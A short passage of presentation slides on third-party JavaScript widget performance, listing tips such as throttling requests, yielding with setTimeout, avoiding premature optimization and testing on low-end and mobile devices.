  • 26. Widget Performance • Minimize Repaint and Reflow. • Rate-limit Server Requests (throttle, debounce). • Yield with setTimeout(fn, 0). • Chunk large arrays of instructions. • Improve Perceived Performance: • Be an optimist: act, then verify.
  • 27. Widget Performance • Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading, • It’s hard to measure a third party widget’s performance. • A lot of moving parts involved. • Tools like jsperf.com will not be of much use. • Do not use your 8GB Ram + SSD MacBook for profiling. • Test on an low-grade machine. • Do not forget mobile!